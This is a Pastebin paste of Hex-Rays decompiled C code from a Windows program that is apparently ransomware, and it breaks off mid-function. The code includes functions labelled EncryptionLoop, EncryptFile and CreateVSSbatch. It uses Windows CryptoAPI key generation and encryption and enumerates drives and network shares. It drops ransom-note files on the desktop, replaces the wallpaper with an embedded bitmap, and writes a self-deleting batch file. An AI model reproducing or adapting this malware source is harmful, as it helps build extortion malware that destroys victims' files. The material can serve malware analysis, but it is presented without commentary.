Guest User

Untitled

a guest
Mar 4th, 2015
727
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 69.17 KB | None | 0 0
  1. /* This file has been generated by the Hex-Rays decompiler.
  2.    Copyright (c) 2007-2011 Hex-Rays <[email protected]>
  3.  
  4.    Detected compiler: Visual C++
  5. */
  6.  
  7. #include <windows.h>
  8. #include <defs.h>
  9.  
  10.  
  11. //-------------------------------------------------------------------------
  12. // Data declarations
  13.  
  14. extern char aI[]; // idb
  15. extern char asc_405005[]; // idb
  16. extern char a02x[]; // idb
  17. extern char aS1[]; // idb
  18. extern char aS2[]; // idb
  19. extern char aS3[]; // idb
  20. extern char aWall[5]; // weak
  21. extern char a_bmp[]; // idb
  22. extern char a_[]; // idb
  23. extern char a__[]; // idb
  24. extern char aChcp1251Ping12[]; // idb
  25. extern char aFnldtjdoib_bat[15]; // weak
  26. extern char aCfg[4]; // weak
  27. extern char aExplorer_exe[]; // idb
  28. extern char aIndex_dat[]; // idb
  29. extern char aAdmin[]; // idb
  30. extern char aAdvapi32_dll[]; // idb
  31. extern char aCryptsetkeypar[]; // idb
  32. extern char aCryptreleaseco[]; // idb
  33. extern char aCryptimportkey[]; // idb
  34. extern char aCryptgenkey[]; // idb
  35. extern char aCryptencrypt[]; // idb
  36. extern char aCryptdestroyke[]; // idb
  37. extern char aCryptacquireco[]; // idb
  38. extern char aCryptexportkey[]; // idb
  39. extern char ModuleName[]; // idb
  40. extern char ProcName[]; // idb
  41. extern char aCreatethread[]; // idb
  42. extern char aCreatefilea[]; // idb
  43. extern char aFindclose[]; // idb
  44. extern char aFindfirstfilea[]; // idb
  45. extern char aFindnextfilea[]; // idb
  46. extern char aGetdiskfreespa[]; // idb
  47. extern char aWidechartomult[]; // idb
  48. extern char aFindresourcea[]; // idb
  49. extern char aFreeresource[]; // idb
  50. extern char aLoadresource[]; // idb
  51. extern char aSizeofresource[]; // idb
  52. extern char aLockresource[]; // idb
  53. extern char aGetwindowsdire[]; // idb
  54. extern char aGettemppatha[]; // idb
  55. extern char aMovefilea[]; // idb
  56. extern char aSeterrormode[]; // idb
  57. extern char aSetfileattribu[]; // idb
  58. extern char aGetfileattribu[]; // idb
  59. extern char aGetfilesizeex[]; // idb
  60. extern char aGetfiletime[]; // idb
  61. extern char aGetdrivetypea[]; // idb
  62. extern char aWritefile[]; // idb
  63. extern char aSetfiletime[]; // idb
  64. extern char aOpenmutexa[]; // idb
  65. extern char aCreatemutexa[]; // idb
  66. extern char aGetcomputernam[]; // idb
  67. extern char aGetlogicaldriv[]; // idb
  68. extern char aMultibytetowid[]; // idb
  69. extern char aReadfile[]; // idb
  70. extern char aWaitforsingleo[]; // idb
  71. extern char aNetapi32_dll[]; // idb
  72. extern char aNetshareenum[]; // idb
  73. extern char aNetapibufferfr[]; // idb
  74. extern char aMpr_dll[]; // idb
  75. extern char aWnetopenenuma[]; // idb
  76. extern char aWnetenumresour[]; // idb
  77. extern char aWnetcloseenum[]; // idb
  78. extern DWORD dwTlsIndex; // idb
  79. extern DWORD dword_405384; // idb
  80. extern DWORD dword_405388; // idb
  81. extern DWORD dword_40538C; // idb
  82. extern DWORD dword_405390; // idb
  83. extern DWORD dword_405394; // idb
  84. extern char Filename[104]; // idb
  85. extern char byte_405898[]; // weak
  86. extern char byte_4058A8[256]; // idb
  87. extern char byte_4059A8[]; // idb
  88. extern char byte_405AA8[]; // idb
  89. extern char String[]; // idb
  90. extern _DWORD dword_406AC8; // idb
  91. extern int dword_406ACC[]; // weak
  92. extern _DWORD dword_406AD0[8190]; // idb
  93. extern SIZE_T dwBytes; // idb
  94. extern int dword_40EAD0; // weak
  95. extern LPCSTR lpString; // idb
  96. extern LPCSTR dword_40EAD8; // idb
  97. extern LPCSTR dword_40EADC; // idb
  98. extern HANDLE hHeap; // idb
  99. extern int dword_40EAE4; // weak
  100. extern char byte_40EAE8; // weak
  101. extern char byte_40EAE9; // weak
  102. extern char byte_40EAEA; // weak
  103. extern int dword_40EAEB; // weak
  104. extern int dword_40EAF0; // weak
  105. extern LPCSTR lpString2; // idb
  106. extern LPCSTR dword_40EAF8; // idb
  107. extern int dword_40EAFC; // weak
  108. extern int dword_40EB00; // weak
  109. extern int dword_40EB04; // weak
  110. extern int dword_40EB08; // weak
  111. extern SIZE_T dword_40EB0C; // idb
  112. extern int dword_40EB10; // weak
  113. extern int dword_40EB18; // weak
  114. extern int dword_40EB28; // weak
  115. extern char byte_40EB2C[256]; // idb
  116. extern int dword_40EC2C; // weak
  117. extern int dword_40EC30; // weak
  118. extern int dword_40EC34; // weak
  119. extern _UNKNOWN unk_40EC38; // weak
  120. extern char LibFileName[]; // idb
  121. extern char byte_40FCCC[]; // idb
  122. extern char String2[]; // idb
  123. extern char String1[]; // idb
  124. extern char byte_4103CC[]; // idb
  125. extern char FileName[]; // idb
  126. extern char byte_410DCC[]; // idb
  127. extern FILETIME CreationTime; // idb
  128. extern FILETIME LastAccessTime; // idb
  129. extern FILETIME LastWriteTime; // idb
  130. extern char byte_410EE4[]; // idb
  131. extern _UNKNOWN unk_410FE4; // weak
  132. extern int dword_410FEC; // weak
  133. extern int dword_410FF0; // weak
  134. extern int dword_410FF4; // weak
  135. extern int dword_410FF8; // weak
  136. extern int dword_410FFC; // weak
  137. extern HMODULE hModule; // idb
  138. extern int (__stdcall *ShellExecute)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak
  139. extern HMODULE shlwapiDLL; // idb
  140. extern int (__stdcall *PathFindExtensionA)(_DWORD); // weak
  141. extern HMODULE AdvapiLibDword; // idb
  142. extern HMODULE kernel32dll; // idb
  143. extern int (__fastcall *GetComputerNameA)(_DWORD, _DWORD, _DWORD, _DWORD); // weak
  144. extern int (__stdcall *CreateThread)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak
  145. extern int (__stdcall *FindResourceA)(_DWORD, _DWORD, _DWORD); // weak
  146. extern int (__stdcall *FreeResource)(_DWORD); // weak
  147. extern int (__stdcall *LoadResource)(_DWORD, _DWORD); // weak
  148. extern int (__stdcall *SizeofResource)(_DWORD, _DWORD); // weak
  149. extern int (__stdcall *LockResource)(_DWORD); // weak
  150. extern int (__stdcall *GetWindowsDirectoryA)(_DWORD, _DWORD); // weak
  151. extern int (__stdcall *SetErrorMode)(_DWORD); // weak
  152. extern int (__stdcall *OpenMutexA)(_DWORD, _DWORD, _DWORD); // weak
  153. extern int (__stdcall *CreateMutexA)(_DWORD, _DWORD, _DWORD); // weak
  154. extern int (*GetLogicalDrives)(void); // weak
  155. extern int (__thiscall *WaitForSingleObject)(_DWORD, _DWORD, _DWORD); // weak
  156. extern HMODULE netapi32Dll; // idb
  157. extern HMODULE MPRDll; // idb
  158.  
  159. //-------------------------------------------------------------------------
  160. // Function declarations
  161.  
  162. #define __thiscall __cdecl // Test compile in C mode
  163.  
  164. int __cdecl sub_401000();
  165. LPSTR __cdecl sub_40108A();
  166. HGLOBAL __cdecl sub_4010EA();
  167. LPSTR __stdcall sub_4011C2(LPCSTR lpString2, LPSTR lpString1);
  168. int __cdecl sub_401329();
  169. char __stdcall sub_4014CC(int a1, int a2, int a3, int a4, int a5, int a6);
  170. signed int __cdecl sub_401569();
  171. void __stdcall sub_401772(int a1, int a2);
  172. BOOL __stdcall sub_401798(void **a1);
  173. BOOL __cdecl EncryptionLoop();
  174. signed int __cdecl sub_401C80();
  175. BOOL __cdecl sub_401D34();
  176. // int __usercall sub_401D4F<eax>(unsigned int a1<eax>, int a2<edx>, int a3<ecx>, unsigned int a4<ebx>);
  177. // int __usercall sub_401D89<eax>(int a1<eax>, int a2<ecx>);
  178. int __stdcall sub_401DC3(int a1, int a2);
  179. int __stdcall sub_401DE6(int a1, int a2);
  180. signed int __stdcall EncryptFile(const CHAR *a1);
  181. int __cdecl sub_4020E1();
  182. int __cdecl sub_4021AA();
  183. int __stdcall sub_4021FD(int a1, int a2);
  184. signed int __cdecl sub_4022E0();
  185. _DWORD __stdcall sub_4023B5(_DWORD, _DWORD); // weak
  186. _DWORD __stdcall sub_4023E3(_DWORD, _DWORD); // weak
  187. int __cdecl CreateVSSbatch();
  188. DWORD __cdecl sub_40253D();
  189. BOOL __cdecl sub_4025BC();
  190. DWORD __stdcall sub_4025FF(const CHAR *a1);
  191. BOOL __cdecl sub_40262E();
  192. signed int __cdecl sub_4026A7();
  193. DWORD __stdcall sub_402EC3(DWORD lpString2);
  194. DWORD __stdcall sub_403026(struct _NETRESOURCEA *a1);
  195. void __cdecl start();
  196. int loc_403369(); // weak
  197. // BOOL __stdcall CloseHandle(HANDLE hObject);
  198. // void __stdcall ExitProcess(UINT uExitCode);
  199. // HANDLE __stdcall GetCurrentProcess();
  200. // DWORD __stdcall GetLastError();
  201. // DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPSTR lpFilename, DWORD nSize);
  202. // HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName);
  203. // FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
  204. // HANDLE __stdcall GetProcessHeap();
  205. // void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime);
  206. // DWORD __stdcall GetTickCount();
  207. // BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation);
  208. // HGLOBAL __stdcall GlobalAlloc(UINT uFlags, SIZE_T dwBytes);
  209. // HGLOBAL __stdcall GlobalFree(HGLOBAL hMem);
  210. // LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
  211. // BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
  212. // HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName);
  213. // int __stdcall RtlMoveMemory(_DWORD, _DWORD, _DWORD, _DWORD); weak
  214. // int __stdcall RtlZeroMemory(_DWORD, _DWORD); weak
  215. // DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
  216. // void __stdcall Sleep(DWORD dwMilliseconds);
  217. // BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime);
  218. // DWORD __stdcall TlsAlloc();
  219. // BOOL __stdcall TlsFree(DWORD dwTlsIndex);
  220. // LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex);
  221. // BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue);
  222. // LPSTR __stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2);
  223. // int __stdcall lstrcmpiA(LPCSTR lpString1, LPCSTR lpString2);
  224. // LPSTR __stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2);
  225. // LPSTR __stdcall lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength);
  226. // int __stdcall lstrlenA(LPCSTR lpString);
  227. // int wsprintfA(LPSTR, LPCSTR, ...);
  228. // int __stdcall GetSystemMetrics(int nIndex);
  229. // BOOL __stdcall SystemParametersInfoA(UINT uiAction, UINT uiParam, PVOID pvParam, UINT fWinIni);
  230. BOOL __stdcall SHGetSpecialFolderPathA(HWND hwnd, LPSTR pszPath, int csidl, BOOL fCreate);
  231. LPSTR __stdcall PathFindFileNameA(LPCSTR pszPath);
  232. BOOL __stdcall PathMatchSpecA(LPCSTR pszFile, LPCSTR pszSpec);
  233. LPSTR __stdcall PathAddBackslashA(LPSTR pszPath);
  234. BOOL __stdcall CryptSetKeyParam(HCRYPTKEY hKey, DWORD dwParam, const BYTE *pbData, DWORD dwFlags);
  235. BOOL __stdcall CryptReleaseContext(HCRYPTPROV hProv, DWORD dwFlags);
  236. BOOL __stdcall CryptImportKey(HCRYPTPROV hProv, const BYTE *pbData, DWORD dwDataLen, HCRYPTKEY hPubKey, DWORD dwFlags, HCRYPTKEY *phKey);
  237. BOOL __stdcall CryptGenKey(HCRYPTPROV hProv, ALG_ID Algid, DWORD dwFlags, HCRYPTKEY *phKey);
  238. BOOL __stdcall CryptEncrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen, DWORD dwBufLen);
  239. BOOL __stdcall CryptDestroyKey(HCRYPTKEY hKey);
  240. BOOL __stdcall CryptAcquireContextA(HCRYPTPROV *phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags);
  241. BOOL __stdcall CryptExportKey(HCRYPTKEY hKey, HCRYPTKEY hExpKey, DWORD dwBlobType, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen);
  242. HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
  243. BOOL __stdcall FindClose(HANDLE hFindFile);
  244. HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData);
  245. BOOL __stdcall FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData);
  246. BOOL __stdcall GetDiskFreeSpaceExA(LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller, PULARGE_INTEGER lpTotalNumberOfBytes, PULARGE_INTEGER lpTotalNumberOfFreeBytes);
  247. int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar);
  248. DWORD __stdcall GetTempPathA(DWORD nBufferLength, LPSTR lpBuffer);
  249. BOOL __stdcall MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName);
  250. BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName, DWORD dwFileAttributes);
  251. DWORD __stdcall GetFileAttributesA(LPCSTR lpFileName);
  252. BOOL __stdcall GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize);
  253. UINT __stdcall GetFileTime(LPCSTR lpRootPathName);
  254. BOOL __stdcall GetDriveTypeA(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
  255. BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
  256. BOOL __stdcall SetFileTime(HANDLE hFile, const FILETIME *lpCreationTime, const FILETIME *lpLastAccessTime, const FILETIME *lpLastWriteTime);
  257. BOOL __stdcall MultiByteToWideChar(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
  258. BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
  259. DWORD __stdcall NetShareEnum(LPVOID Buffer);
  260. DWORD __stdcall NetApiBufferFree(LPVOID Buffer);
  261. DWORD __stdcall WNetOpenEnumA(DWORD dwScope, DWORD dwType, DWORD dwUsage, LPNETRESOURCEA lpNetResource, LPHANDLE lphEnum);
  262. DWORD __stdcall WNetEnumResourceA(HANDLE hEnum, LPDWORD lpcCount, LPVOID lpBuffer, LPDWORD lpBufferSize);
  263. DWORD __stdcall WNetCloseEnum(HANDLE hEnum);
  264.  
  265.  
  266. //----- (00401000) --------------------------------------------------------
  267. int __cdecl sub_401000()
  268. {
  269.   int v0; // eax@1
  270.   char v2; // [sp+0h] [bp-8h]@1
  271.   HANDLE hObject; // [sp+4h] [bp-4h]@1
  272.  
  273.   hObject = CreateFileA("fnldtjdoib.bat", 0xC0000000u, 3u, 0, 2u, 0, 0);
  274.   SetFilePointer(hObject, 0, 0, 0);
  275.   wsprintfA(String, "chcp 1251\r\nping 127.0.0.1\r\ndir * > \"%s\"\r\ndel /f /q \"%s\"\r\ndel /f /q %%0", Filename);
  276.   v0 = lstrlenA(String);
  277.   WriteFile(hObject, String, v0, (LPDWORD)&v2, 0);
  278.   CloseHandle(hObject);
  279.   return ShellExecute(0, 0, "fnldtjdoib.bat", 0, 0, 0);
  280. }
  281. // 411004: using guessed type int (__stdcall *ShellExecute)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
  282.  
  283. //----- (0040108A) --------------------------------------------------------
  284. LPSTR __cdecl sub_40108A()
  285. {
  286.   int v0; // ecx@1
  287.   int v1; // ebx@1
  288.   int v2; // ST0C_4@2
  289.   int v3; // eax@2
  290.   CHAR String2; // [sp+4h] [bp-4h]@2
  291.  
  292.   v0 = dword_40EC34;
  293.   v1 = dword_40EC30;
  294.   do
  295.   {
  296.     v2 = v0;
  297.     v3 = *(_BYTE *)v1++;
  298.     wsprintfA(&String2, "%02X", v3);
  299.     lstrcatA(::String2, &String2);
  300.     v0 = v2 - 1;
  301.   }
  302.   while ( v2 != 1 );
  303.   lstrcpynA(String1, ::String2, 11);
  304.   return lstrcatA(String1, "..");
  305. }
  306. // 40EC30: using guessed type int dword_40EC30;
  307. // 40EC34: using guessed type int dword_40EC34;
  308.  
  309. //----- (004010EA) --------------------------------------------------------
  310. HGLOBAL __cdecl sub_4010EA()
  311. {
  312.   SIZE_T v0; // ST20_4@1
  313.   const CHAR *v1; // ST1C_4@1
  314.   int v2; // ebx@1
  315.   int v3; // eax@1
  316.   int v4; // ebx@1
  317.   int v5; // eax@1
  318.   int v6; // ebx@1
  319.   int v7; // eax@1
  320.  
  321.   v0 = 4 * lstrlenA(lpString);
  322.   dword_40EAD8 = (LPCSTR)GlobalAlloc(0x40u, v0);
  323.   v1 = (const CHAR *)GlobalAlloc(0x40u, v0);
  324.   sub_40108A();
  325.   v2 = lstrlenA(lpString);
  326.   v3 = lstrlenA("{%s1}");
  327.   sub_4014CC((int)lpString, (int)dword_40EAD8, (int)"{%s1}", dword_40EAFC, v2, v3);
  328.   v4 = lstrlenA(dword_40EAD8);
  329.   v5 = lstrlenA("{%s2}");
  330.   sub_4014CC((int)dword_40EAD8, (int)v1, (int)"{%s2}", (int)String2, v4, v5);
  331.   v6 = lstrlenA(v1);
  332.   v7 = lstrlenA("{%s3}");
  333.   sub_4014CC((int)v1, (int)dword_40EAD8, (int)"{%s3}", (int)String1, v6, v7);
  334.   return GlobalFree((HGLOBAL)v1);
  335. }
  336. // 40EAFC: using guessed type int dword_40EAFC;
  337.  
  338. //----- (004011C2) --------------------------------------------------------
  339. LPSTR __stdcall sub_4011C2(LPCSTR lpString2, LPSTR lpString1)
  340. {
  341.   signed int i; // ebx@2
  342.   HANDLE v3; // eax@5
  343.   int v4; // eax@6
  344.   LPSTR result; // eax@7
  345.   char v6; // [sp+4h] [bp-B08h]@1
  346.   CHAR String2; // [sp+504h] [bp-608h]@1
  347.   CHAR v8; // [sp+A04h] [bp-108h]@3
  348.   HANDLE hObject; // [sp+B04h] [bp-8h]@6
  349.   char v10; // [sp+B08h] [bp-4h]@6
  350.  
  351.   lstrcpyA(&String2, lpString2);
  352.   PathAddBackslashA(&String2);
  353.   lstrcatA(&String2, byte_4059A8);
  354.   lstrcpyA(&v6, &String2);
  355.   lstrcatA(&String2, byte_405AA8);
  356.   if ( GetFileAttributesA(&String2) != -1 )
  357.   {
  358.     for ( i = 1; ; ++i )
  359.     {
  360.       wsprintfA(&v8, "(%i)", i);
  361.       lstrcpyA(&String2, &v6);
  362.       lstrcatA(&String2, &v8);
  363.       lstrcatA(&String2, byte_405AA8);
  364.       if ( GetFileAttributesA(&String2) == -1 )
  365.         break;
  366.     }
  367.   }
  368.   v3 = CreateFileA(&String2, 0xC0000000u, 3u, 0, 2u, 0, 0);
  369.   if ( v3 != (HANDLE)-1 )
  370.   {
  371.     hObject = v3;
  372.     SetFilePointer(v3, 0, 0, 0);
  373.     v4 = lstrlenA(dword_40EAD8);
  374.     WriteFile(hObject, dword_40EAD8, v4, (LPDWORD)&v10, 0);
  375.     SetFileTime(hObject, &CreationTime, &LastAccessTime, &LastWriteTime);
  376.     CloseHandle(hObject);
  377.   }
  378.   result = lpString1;
  379.   if ( lpString1 )
  380.     result = lstrcpyA(lpString1, &String2);
  381.   return result;
  382. }
  383.  
  384. //----- (00401329) --------------------------------------------------------
  385. int __cdecl sub_401329()
  386. {
  387.   int result; // eax@1
  388.   int v1; // ecx@3
  389.   int v2; // edi@3
  390.   int v3; // ST18_4@4
  391.   const void *v4; // ebx@9
  392.   CHAR String1; // [sp+4h] [bp-218h]@2
  393.   DWORD NumberOfBytesWritten; // [sp+204h] [bp-18h]@10
  394.   DWORD nNumberOfBytesToWrite; // [sp+208h] [bp-14h]@7
  395.   int v8; // [sp+20Ch] [bp-10h]@6
  396.   int v9; // [sp+210h] [bp-Ch]@8
  397.   int v10; // [sp+214h] [bp-8h]@9
  398.   HANDLE hObject; // [sp+218h] [bp-4h]@10
  399.  
  400.   result = SHGetSpecialFolderPathA(0, byte_4103CC, 16, 1);
  401.   if ( result )
  402.   {
  403.     sub_4011C2(byte_4103CC, &String1);
  404.     ShellExecute(0, 0, &String1, 0, 0, 5);
  405.     result = (unsigned __int8)byte_40EAE8;
  406.     if ( byte_40EAE8 == 1 )
  407.     {
  408.       v1 = 16;
  409.       v2 = (int)byte_40FCCC;
  410.       do
  411.       {
  412.         v3 = v1;
  413.         Sleep(1u);
  414.         *(_BYTE *)v2++ = ((GetTickCount() & 0xF0) >> 4) + 97;
  415.         v1 = v3 - 1;
  416.       }
  417.       while ( v3 != 1 );
  418.       *(_BYTE *)v2 = 0;
  419.       lstrcatA(byte_40FCCC, ".bmp");
  420.       GetTempPathA(0x500u, FileName);
  421.       PathAddBackslashA(FileName);
  422.       lstrcatA(FileName, byte_40FCCC);
  423.       result = FindResourceA(0, "wall", 2);
  424.       if ( result )
  425.       {
  426.         v8 = result;
  427.         result = SizeofResource(0, result);
  428.         if ( result )
  429.         {
  430.           nNumberOfBytesToWrite = result;
  431.           result = LoadResource(0, v8);
  432.           if ( result )
  433.           {
  434.             v9 = result;
  435.             result = LockResource(result);
  436.             if ( result )
  437.             {
  438.               v10 = result;
  439.               v4 = (const void *)result;
  440.               result = (int)CreateFileA(FileName, 0xC0000000u, 3u, 0, 2u, 0, 0);
  441.               if ( result != -1 )
  442.               {
  443.                 hObject = (HANDLE)result;
  444.                 SetFilePointer((HANDLE)result, 0, 0, 0);
  445.                 WriteFile(hObject, v4, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);
  446.                 SetFileTime(hObject, &CreationTime, &LastAccessTime, &LastWriteTime);
  447.                 CloseHandle(hObject);
  448.                 SystemParametersInfoA(0x14u, 0, FileName, 3u);
  449.                 result = FreeResource(v9);
  450.               }
  451.             }
  452.           }
  453.         }
  454.       }
  455.     }
  456.   }
  457.   return result;
  458. }
  459. // 40EAE8: using guessed type char byte_40EAE8;
  460. // 411004: using guessed type int (__stdcall *ShellExecute)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
  461. // 411068: using guessed type int (__stdcall *FindResourceA)(_DWORD, _DWORD, _DWORD);
  462. // 41106C: using guessed type int (__stdcall *FreeResource)(_DWORD);
  463. // 411070: using guessed type int (__stdcall *LoadResource)(_DWORD, _DWORD);
  464. // 411074: using guessed type int (__stdcall *SizeofResource)(_DWORD, _DWORD);
  465. // 411078: using guessed type int (__stdcall *LockResource)(_DWORD);
  466.  
  467. //----- (004014CC) --------------------------------------------------------
  468. char __stdcall sub_4014CC(int a1, int a2, int a3, int a4, int a5, int a6)
  469. {
  470.   int v6; // edi@1
  471.   int v7; // esi@1
  472.   signed int v8; // ecx@6
  473.   int v9; // edx@6
  474.   char v10; // al@7
  475.   int v11; // edx@10
  476.   int v12; // ecx@10
  477.   char v13; // al@11
  478.   signed int v14; // ecx@13
  479.   char result; // al@14
  480.  
  481.   v6 = a2;
  482.   v7 = a1 - 1;
  483. LABEL_3:
  484.   while ( 1 )
  485.   {
  486.     ++v7;
  487.     if ( a1 + a5 - a6 + 1 <= v7 )
  488.       break;
  489.     if ( *(_BYTE *)v7 == *(_BYTE *)a3 )
  490.     {
  491.       v8 = -1;
  492.       v9 = a3;
  493.       while ( 1 )
  494.       {
  495.         ++v8;
  496.         v10 = *(_BYTE *)v9;
  497.         if ( !*(_BYTE *)v9 )
  498.           break;
  499.         ++v9;
  500.         if ( *(_BYTE *)(v8 + v7) != v10 )
  501.         {
  502.           *(_BYTE *)v6++ = *(_BYTE *)v7;
  503.           goto LABEL_3;
  504.         }
  505.       }
  506.       v11 = a4;
  507.       v12 = v8 - 1;
  508.       while ( 1 )
  509.       {
  510.         v13 = *(_BYTE *)v11;
  511.         if ( !*(_BYTE *)v11 )
  512.           break;
  513.         ++v11;
  514.         *(_BYTE *)v6++ = v13;
  515.       }
  516.       v7 += v12;
  517.     }
  518.     else
  519.     {
  520.       *(_BYTE *)v6++ = *(_BYTE *)v7;
  521.     }
  522.   }
  523.   v14 = -1;
  524.   do
  525.   {
  526.     ++v14;
  527.     result = *(_BYTE *)(v14 + v7);
  528.     *(_BYTE *)(v14 + v6) = result;
  529.   }
  530.   while ( result );
  531.   return result;
  532. }
  533.  
  534. //----- (00401569) --------------------------------------------------------
  535. signed int __cdecl sub_401569()
  536. {
  537.   int v0; // eax@1
  538.   signed int result; // eax@2
  539.   int v2; // eax@3
  540.   int v3; // eax@5
  541.   int v4; // eax@7
  542.   HGLOBAL v5; // eax@9
  543.   int v6; // ST0C_4@11
  544.   int v7; // ebx@11
  545.   SIZE_T *v8; // ebx@11
  546.   const CHAR *v9; // eax@11
  547.   SIZE_T v10; // edi@13
  548.   int v11; // ebx@13
  549.   int v12; // ebx@13
  550.   SIZE_T v13; // ecx@13
  551.   int v14; // ebx@13
  552.   const CHAR *v15; // eax@14
  553.   SIZE_T v16; // edi@16
  554.   int v17; // ebx@16
  555.   SIZE_T v18; // ecx@18
  556.   int v19; // ebx@18
  557.   HGLOBAL v20; // eax@19
  558.   SIZE_T v21; // edi@21
  559.   SIZE_T *v22; // ebx@21
  560.   const CHAR *v23; // eax@21
  561.   SIZE_T v24; // edi@25
  562.   int v25; // ebx@25
  563.   int v26; // ebx@25
  564.   int v27; // ebx@25
  565.   const CHAR *v28; // eax@25
  566.   int v29; // ST0C_4@27
  567.   HGLOBAL v30; // ST0C_4@27
  568.   SIZE_T v31; // [sp-4h] [bp-18h]@14
  569.   SIZE_T v32; // [sp-4h] [bp-18h]@19
  570.   SIZE_T v33; // [sp-4h] [bp-18h]@21
  571.   SIZE_T hMem; // [sp+0h] [bp-14h]@11
  572.   int hMema; // [sp+0h] [bp-14h]@13
  573.   int hMemb; // [sp+0h] [bp-14h]@16
  574.   int hMemc; // [sp+0h] [bp-14h]@21
  575.   int hMemd; // [sp+0h] [bp-14h]@25
  576.   SIZE_T dwBytes; // [sp+4h] [bp-10h]@5
  577.   int dwBytesa; // [sp+4h] [bp-10h]@11
  578.   int v41; // [sp+8h] [bp-Ch]@3
  579.   int v42; // [sp+Ch] [bp-8h]@7
  580.   int v43; // [sp+10h] [bp-4h]@9
  581.  
  582.   v0 = FindResourceA(0, "cfg", 10);
  583.   if ( v0 )
  584.   {
  585.     v41 = v0;
  586.     v2 = SizeofResource(0, v0);
  587.     if ( v2 )
  588.     {
  589.       dwBytes = v2;
  590.       v3 = LoadResource(0, v41);
  591.       if ( v3 )
  592.       {
  593.         v42 = v3;
  594.         v4 = LockResource(v3);
  595.         if ( v4 )
  596.         {
  597.           v43 = v4;
  598.           v5 = GlobalAlloc(0x40u, dwBytes);
  599.           if ( v5 )
  600.           {
  601.             RtlMoveMemory(v5, v43, dwBytes, v5);
  602.             FreeResource(v42);
  603.             v7 = v6;
  604.             RtlMoveMemory(byte_405898, v6, 16, dwBytes);
  605.             v7 += 16;
  606.             sub_401772(v7, dwBytesa - 16);
  607.             byte_40EAE8 = *(_BYTE *)v7++;
  608.             byte_40EAE9 = *(_BYTE *)v7++;
  609.             byte_40EAEA = *(_BYTE *)v7++;
  610.             dword_40EAF0 = *(_DWORD *)v7;
  611.             v7 += 4;
  612.             dword_40EB00 = *(_DWORD *)v7;
  613.             v8 = (SIZE_T *)(v7 + 4);
  614.             hMem = *v8;
  615.             v9 = (const CHAR *)GlobalAlloc(0x40u, *v8);
  616.             if ( v9 )
  617.             {
  618.               lpString2 = v9;
  619.               v10 = hMem;
  620.               v11 = (int)(v8 + 1);
  621.               RtlMoveMemory(v9, v11, hMem, dwBytesa);
  622.               v12 = v10 + v11;
  623.               v13 = *(_DWORD *)v12;
  624.               v14 = v12 + 4;
  625.               if ( v13 <= 1 )
  626.               {
  627.                 result = 0;
  628.               }
  629.               else
  630.               {
  631.                 v31 = v13;
  632.                 v15 = (const CHAR *)GlobalAlloc(0x40u, v13);
  633.                 if ( v15 )
  634.                 {
  635.                   dword_40EAF8 = v15;
  636.                   v16 = v31;
  637.                   RtlMoveMemory(v15, v14, v31, hMema);
  638.                   v17 = v16 + v14;
  639.                   v18 = *(_DWORD *)v17;
  640.                   v19 = v17 + 4;
  641.                   if ( v18 <= 1 )
  642.                   {
  643.                     result = 0;
  644.                   }
  645.                   else
  646.                   {
  647.                     v32 = v18;
  648.                     v20 = GlobalAlloc(0x40u, v18);
  649.                     if ( v20 )
  650.                     {
  651.                       dword_40EAFC = (int)v20;
  652.                       v21 = v32;
  653.                       RtlMoveMemory(v20, v19, v32, hMemb);
  654.                       v22 = (SIZE_T *)(v21 + v19);
  655.                       v33 = *v22;
